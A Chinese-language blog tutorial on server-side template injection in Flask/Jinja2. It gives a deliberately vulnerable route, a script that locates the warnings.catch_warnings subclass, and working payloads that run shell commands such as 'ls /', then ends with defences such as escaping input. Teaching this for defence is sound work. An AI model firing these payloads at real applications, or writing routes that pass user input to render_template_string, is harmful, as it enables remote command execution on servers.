Python-Flask框架(四), 如何進行模板注入?
jinja2模板簡介
Jinja2 是一個現代的,設計者友好的,仿照 Django 模板的 Python 模板語言。 它速度快,被廣泛使用,並且提供了可選的沙箱模板執行環境保證安全;
何爲模板注入
模板引擎(SST)
模板引擎(這裏特指用於Web開發的模板引擎)是爲了使用戶界面與業務數據(內容)分離而產生的,它可以生成特定格式的文檔,用於網站的模板引擎就會生成一個標準的HTML文檔。
如果沒有SST,那python和html就是寫在一個文件裏,python代碼和html代碼混合coding這個,可想而知啊。。。
可是SST又是危險的,因爲SST十分相信用戶的輸入,並且執行這些內容,甚至是本機函數都可以執行。
模板注入(SSTI)
模板引擎通過使用代碼構造(如條件語句、循環等)處理上下文數據,允許在模板中使用強大的語言表達式,以呈現動態內容。如果使用模板時並沒用對用戶的輸入做任何處理或相信用戶的輸入,攻擊者則可通過模板引擎執行系統命令,這就會造成模板注入。模板注入是可以防範的,下面會從攻 與 防進行介紹。
如何進行模板注入
flask後端代碼
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/')
def index():
return '<h1>不在這裏,我的朋友</h1>'
@app.route('/flag/')
def flag():
code = request.args.get('id')
html = '''
hello, do you have id ? , %s
''' % code
return render_template_string(html)
if __name__ == '__main__':
app.run(host='0.0.0.0' , port='4321')
id=123
id={{ 2*2 }}
id={{ config }}
模板十分信任我的輸入,這樣就可以爲所欲爲了
XSS
SSTI
構造基本類
首先通過str、dict、tuple或list獲取python的基本類(當然也可以利用一些其他在jinja2中存在的對象,比如request):
''.__class__.__base__
[].__class__.__base__
().__class__.__base__
request.__class__.__base__
我們需要用到的是warnings.catch_warning所以遇到flask模板注入的時候,只要去找warnings.catch_warning即可
一般是在列表的第59個元素
或構造python腳本
import requests
url = "模板注入的url={{ [].__class__.__base__.__subclasses__()[%s] }}"
for i in range(200):
url_all = url % i
r = requests.get(url_all).text
if 'warnings.catch_warning' in r:
print(i, r)
break
找到warnings.catch_warning就可以爲所欲爲了
{{[].__class__.__base__.__subclasses__()[59].__init__.func_globals.linecache.os.popen("ls /").read()}}
{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__["__builtins__"].__import__("os").system("ls /")}}
第二個payload其實也是成功執行了,但是隻會返回數字,那內容去哪裏的呢
![在這裏插入圖片描述](https://img-blog.csdnimg.cn/20191124190919776.png
一般會在flask後臺顯示
第二種其實調用的是python裏的
__import__('os').system('ls /')
如何防範模板注入
當需要讓用戶的輸入改變頁面內容時,就需要考慮,是否會造成模板注入。
兩不
- 不要讓"%s" 和 傻白甜render_template_string 單獨在一起
@app.route('/')
def index():
id = request.args.get('id')
html = '''hello, %s''' % id
return render_template_string(html) # 可以進行SSTI
- 絕對不能直接對用戶的輸入使用safe過濾器
{{ user_input|safe }}
建議
- HTML轉義
使用jinja2提供的escape()函數對用戶傳入的數據進行轉義
from jinja2 import escape
@app.route('/')
def index():
id = request.args.get('id')
html = '''hello, %s''' % escape(id)
return render_template_string(html)
- 自定義過濾器,過濾用戶的輸入
# python flask後端腳本
from flask import Markup
@app.template_filter()
def musical(s):
return s + Markup(' ♫')
.........
# html引用
{{ name|musical }}
結尾
歡迎各位老爺們點贊👍和評論,如果問題或者更優解,歡迎來評論